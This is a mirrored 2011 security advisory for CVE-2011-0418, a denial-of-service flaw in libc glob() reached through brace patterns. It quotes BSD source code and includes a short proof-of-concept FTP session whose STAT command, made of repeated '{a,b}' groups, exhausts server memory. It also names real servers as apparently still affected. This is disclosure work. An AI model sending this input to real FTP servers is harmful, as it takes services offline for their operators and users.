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HistoryMay 02, 2011 - 12:00 a.m.

Multiple Vendors libc/glob() GLOB_BRACE|GLOB_LIMIT memory exhaustion

2011-05-0200:00:00
vulners.com
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[ Multiple Vendors libc/glob() GLOB_BRACE|GLOB_LIMIT memory
exhaustion ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:

  • Dis.: 19.01.2011
  • Pub.: 02.05.2011

CVE: CVE-2011-0418

Affected Software (verified):

    • NetBSD 5.1
    • and more

Original URL:
http://securityreason.com/achievement_securityalert/97

  • — 0.Description —
    #include <glob.h>

int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);

Description

This function expands a filename wildcard which is passed as pattern.

GLOB_LIMIT Limit the amount of memory used by matches to ARG_MAX.
This
option should be set for programs that can be coerced to a denial of
service attack via patterns that expand to a very large number of
matches, such as a long string of /…//…

  • — 1. Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory
    exhaustion —
    Analyzing history of GLOB_LIMIT, we should start since 2001, where it
    has been added to protect ftp servers before memory exhaustion.

http://www.mail-archive.com/[email protected]/msg04960.html

Any 'pattern', should be limited and controlled by GLOB LIMIT.
Algorithm
used in glob(3) is not optimal, and doesn't support functions like
realpath() to eliminate duplicates. It's not easy to predict the
greatest possible complexity. Anyway in 2010, netbsd has extended
GLOB_LIMIT for a few new limits like: stats, readdir and malloc

OpenBSD has localized some integer overflow. In glob(3) function,
exists
some malloc() allowing allocate n<INT_MAX bytes into memory.

http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/glob.c.diff?r1=1.34;r2=1.35;f=h

  • -globextend()/openbsd–
    749: newn = 2 + pglob->gl_pathc + pglob->gl_offs;
    750: if (pglob->gl_offs >= INT_MAX ||
    751: pglob->gl_pathc >= INT_MAX ||
    752: newn >= INT_MAX ||
    753: SIZE_MAX / sizeof(*pathv) <= newn ||
    754: SIZE_MAX / sizeof(*statv) <= newn) {
    755: nospace:
    756: for (i = pglob->gl_offs; i < (ssize_t)(newn - 2);
    i++) {
    757: if (pglob->gl_pathv && pglob->gl_pathv[i])
    758: free(pglob->gl_pathv[i]);
    759: if ((pglob->gl_flags & GLOB_KEEPSTAT) != 0 &&
    760: pglob->gl_pathv && pglob->gl_pathv[i])
    761: free(pglob->gl_statv[i]);
    762: }
    763: if (pglob->gl_pathv) {
    764: free(pglob->gl_pathv);
    765: pglob->gl_pathv = NULL;
    766: }
    767: if (pglob->gl_statv) {
    768: free(pglob->gl_statv);
    769: pglob->gl_statv = NULL;
    770: }
    771: return(GLOB_NOSPACE);
    772: }
  • -globextend()/openbsd–

however SIZE_MAX and INT_MAX doesn't protect us before memory
exhaustion. The real problem here is uncontrolled malloc(3) call.
globextend() will be executed a lot of times and we should reduce
calls
to glob0() and globexp1(). Therefore has been created a new limit,
limiting 'braces' used in 'pattern'.

http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=text&amp;tr1=1.27&amp;r2=text&amp;tr2=1.29

If we don't reduce this call

  • -globextend()/netbsd–
    static int
    globextend(const Char *path, glob_t *pglob, size_t *limit)
    {
    char **pathv;
    size_t i, newsize, len;
    char *copy;
    const Char *p;

      _DIAGASSERT&#40;path != NULL&#41;;
      _DIAGASSERT&#40;pglob != NULL&#41;;
    
      newsize = sizeof&#40;*pathv&#41; * &#40;2 + pglob-&gt;gl_pathc +
    

pglob->gl_offs);
pathv = pglob->gl_pathv ? realloc(pglob->gl_pathv, newsize) :
malloc(newsize); <==== UNSECURE CALL

  • -globextend()/netbsd–

newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);

malloc(3) try allocate (4*pglob->gl_pathc) bytes.

  • -PoC-
    USER anonymous
    PASS [email protected]
    STAT
    {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
  • -PoC-

in result we get

Jan 19 04:49:17 127 /netbsd: UVM: pid 615 (ftpd), uid 1003 killed:
out
of swap

Many servers are still vulnerable to the above vulnerability and
CVE-2010-4754, CVE-2010-4755, CVE-2010-4756, CVE-2010-2632. Servers
like
ftp.sun.com ftp.sony.com seems still be affected.

PoC:
change 'pattern' in
http://cxib.net/stuff/glob-0day.c

sp3x, Infospec

  • — 5. Contact —
    Author: Maksymilian Arciemowicz

Email:

    • cxib {a\./t] securityreason [d=t} com

GPG:

http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/


Best Regards
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <[email protected]>
sub 4096R/58BA663C 2010-09-19
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